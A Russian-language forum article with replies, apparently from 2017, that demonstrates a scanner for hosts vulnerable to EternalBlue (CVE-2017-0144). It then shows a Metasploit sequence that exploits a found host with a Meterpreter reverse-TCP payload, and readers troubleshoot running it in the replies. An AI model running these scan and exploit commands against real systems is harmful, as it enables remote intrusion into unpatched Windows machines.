Статья Eternal Scanner - Интернет сканер для эксплойтов CVE-2017-0144

Всем привет! В этой статье я хочу продемонстрировать работу сканера, который способен отыскать в сети уязвимые для EternalBlue ( CVE-2017-0144) — кодовое имя эксплойта, эксплуатирующего компьютерную уязвимость в Windows-реализации протокола SMB, хосты.

Итак, собственно – Eternal Scanner.

upload_2017-7-24_22-39-22.png


CVE-2017-0144 Описание:

Сервер SMBv1 в Microsoft Windows Vista SP2; Windows Server 2008 SP2 и R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold и R2; Windows RT 8.1; И Windows 10 Gold, 1511 и 1607; И Windows Server 2016 Позволяет атакующим удаленно выполнять произвольный код с помощью видоизмененных пакетов как в “Windows SMB Remote Code Execution Vulnerability.”. Эта уязвимость отличается от описанной в CVE-2017-0143, CVE-2017-0145, CVE-2017-0146 , И CVE-2017-0148.

Установка:

> git clone https://github.com/peterpt/eternal_scanner

> cd eternal_scanner

> ls –l

upload_2017-7-24_22-39-44.png


Запуск:


> ./escan

upload_2017-7-24_22-40-1.png


Далее, вводим интересующий нас адрес или диапазон, по маске.

upload_2017-7-24_22-40-28.png


Ждем окончания сканирования:
upload_2017-7-24_22-40-42.png


По итогу проверки обнаружилось три хоста уязвимые к данной атаке:

upload_2017-7-24_22-40-57.png


Результаты проверки сканер услужливо сложил в текстовый файлик:

upload_2017-7-24_22-41-20.png


На этом, пожалуй, все, пойду закрывать дырки…

Хотя, сначала, чуть попробую, не соврал ли сканер.

> msfconsole

> use exploit/windows/smb/ms17_010_eternalblue

> msf exploit(ms17_010_eternalblue) >set rhost 192.168.1.158

> msf exploit(ms17_010_eternalblue) >set lhost 192.168.1.180

> msf exploit(ms17_010_eternalblue) >set payload windows/x64/meterpreter/reverse_tcp

> msf exploit(ms17_010_eternalblue) >exploit

upload_2017-7-24_22-41-51.png


Пока, все идет ровно. И буквально через 30 сек:

upload_2017-7-24_22-42-8.png


Теперь можно идти, спасибо за внимание.
 
Последнее редактирование:
  • Нравится
Реакции: dieZel, TroideN, Tihon49 и ещё 23
Нажмите, чтобы раскрыть...
Ondrik8

Ondrik8

prodigy
Green Team
08.11.2016
1 129
3 188
BIT
0
ц-ц-ц-ц не хорошо инфу из грэй-секции выносить!))))
 
Vander

Vander

CodebyTeam
Gold Team
16.01.2016
1 420
4 353
BIT
2
Ondrik8 сказал(а):
ц-ц-ц-ц не хорошо инфу из грэй-секции выносить!))))
Нажмите, чтобы раскрыть...
Инфа далеко не секретная, в целях просвещения, лишь
[doublepost=1500927250,1500927177][/doublepost]
Xulinam сказал(а):
Уважаемый Вандер,что-то ваша ссылочка барахлит а вот это рабочая 1***Скрытый текст***
Нажмите, чтобы раскрыть...
Виноват, исправился)
 
  • Нравится
Реакции: MEBIUS, Xulinam и Ondrik8
J

jsat

Green Team
20.04.2017
30
8
BIT
1
Уважаемый Vander что это означает:
root@Server:~/eternal_scanner# ls -l
итого 44
-rw-r--r-- 1 root root 938 июл 30 09:53 changelog.md
-rwxr-xr-x 1 root root 1446 июл 30 09:53 elog
-rwxr-xr-x 1 root root 17267 июл 30 09:53 escan
-rw-r--r-- 1 root root 1064 июл 30 09:53 LICENSE
-rw-r--r-- 1 root root 1080 июл 30 09:53 readme.md
-rw-r--r-- 1 root root 4452 июл 30 09:53 use.md
root@Server:~/eternal_scanner# ./escan

Masscan Missing
root@Server:~/eternal_scanner#
 
K

krastyka

что-то сколько не пробовал но после вот этих строк
Ссылка скрыта от гостей

Всегда пишет The connection timed out, скорее всего я не правильно понял что нужно прописывать в LHOST , поясните пожалуйста )
 
D

Dmitry88

чем принципиально отличается от use auxiliary/scanner/smb/smb_ms17_010 ? Выгрузкой в тхт ?
 
id2746

id2746

Green Team
12.11.2016
435
644
BIT
21
jsat сказал(а):
Уважаемый Vander что это означает:
root@Server:~/eternal_scanner# ls -l
итого 44
-rw-r--r-- 1 root root 938 июл 30 09:53 changelog.md
-rwxr-xr-x 1 root root 1446 июл 30 09:53 elog
-rwxr-xr-x 1 root root 17267 июл 30 09:53 escan
-rw-r--r-- 1 root root 1064 июл 30 09:53 LICENSE
-rw-r--r-- 1 root root 1080 июл 30 09:53 readme.md
-rw-r--r-- 1 root root 4452 июл 30 09:53 use.md
root@Server:~/eternal_scanner# ./escan

Masscan Missing
root@Server:~/eternal_scanner#
Нажмите, чтобы раскрыть...

Снимок экрана от 2017-07-31 09-34-14.png


Суть команды ясна теперь?
[doublepost=1501483092,1501482928][/doublepost]
krastyka сказал(а):
что-то сколько не пробовал но после вот этих строк
Ссылка скрыта от гостей

Всегда пишет The connection timed out, скорее всего я не правильно понял что нужно прописывать в LHOST , поясните пожалуйста )
Нажмите, чтобы раскрыть...

попробуйте просканировать nmap'ом, возможно имеет место быть фильтрация портов, в таком случае обрыв по таймауту бывает.
 
  • Нравится
Реакции: Vertigo и ghostphisher
T

TST

Vander сказал(а):
Всем привет! В этой статье я хочу продемонстрировать работу сканера, который способен отыскать в сети уязвимые для EternalBlue ( CVE-2017-0144) — кодовое имя эксплойта, эксплуатирующего компьютерную уязвимость в Windows-реализации протокола SMB, хосты.

Итак, собственно – Eternal Scanner.

Посмотреть вложение 10864

CVE-2017-0144 Описание:

Сервер SMBv1 в Microsoft Windows Vista SP2; Windows Server 2008 SP2 и R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold и R2; Windows RT 8.1; И Windows 10 Gold, 1511 и 1607; И Windows Server 2016 Позволяет атакующим удаленно выполнять произвольный код с помощью видоизмененных пакетов как в “Windows SMB Remote Code Execution Vulnerability.”. Эта уязвимость отличается от описанной в CVE-2017-0143, CVE-2017-0145, CVE-2017-0146 , И CVE-2017-0148.

Установка:

> git clone https://github.com/peterpt/eternal_scanner

> cd eternal_scanner

> ls –l

Посмотреть вложение 10865

Запуск:


> ./escan

Посмотреть вложение 10866

Далее, вводим интересующий нас адрес или диапазон, по маске.

Посмотреть вложение 10867

Ждем окончания сканирования:
Посмотреть вложение 10868

По итогу проверки обнаружилось три хоста уязвимые к данной атаке:

Посмотреть вложение 10869

Результаты проверки сканер услужливо сложил в текстовый файлик:

Посмотреть вложение 10870

На этом, пожалуй, все, пойду закрывать дырки…

Хотя, сначала, чуть попробую, не соврал ли сканер.

> msfconsole

> use exploit/windows/smb/ms17_010_eternalblue

> msf exploit(ms17_010_eternalblue) >set rhost 192.168.1.158

> msf exploit(ms17_010_eternalblue) >set lhost 192.168.1.180

> msf exploit(ms17_010_eternalblue) >set payload windows/x64/meterpreter/reverse_tcp

> msf exploit(ms17_010_eternalblue) >exploit

Посмотреть вложение 10871

Пока, все идет ровно. И буквально через 30 сек:

Посмотреть вложение 10872

Теперь можно идти, спасибо за внимание.
Нажмите, чтобы раскрыть...
выводит ошибку будто нет соединения
Screenshot from 2017-12-04 17-30-03.png
 
amstrot

amstrot

Green Team
30.04.2016
23
5
BIT
0
Подскажите аргумент плиз что бы из файла ip сканил!?
 
A

asdffs

в чём смысл этого скрипта если потом всё равно мсф запускать?) в мсф уже есть модуль для проверки -
Ссылка скрыта от гостей
 
  • Нравится
Реакции: Tihon49 и pr0phet
D

Demi

Mod. Ethical Hacking
16.02.2017
124
131
BIT
0
asdffs сказал(а):
в чём смысл этого скрипта если потом всё равно мсф запускать?) в мсф уже есть модуль для проверки -
Ссылка скрыта от гостей
Нажмите, чтобы раскрыть...
в msf exploit только до 2008 сервака, на гитхабе есть же и 2012, и для него текстовик будет актуален ..
 
  • Нравится
Реакции: Tihon49, bilder и asdffs
D

Demi

Mod. Ethical Hacking
16.02.2017
124
131
BIT
0
Добавлю немного дегтя или просто разберу работу
1. Сканирует порты с помощью masscan
2. Уязвимость определяет с помощью MSF модуля
3. Это уже к разрабам, если бы список уязвимых проходился повторно чекером который там же лежит
3.1. так как показывает что хост уязвим, но для него надо валидные креденшелы

За обзор сотфа к репе
За софт 3/5, если уже делать сканер с чекером, так уже как говорится на любой вкус
 
  • Нравится
Реакции: id2746
Для ответа нужно войти/зарегистрироваться
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!

Верх Низ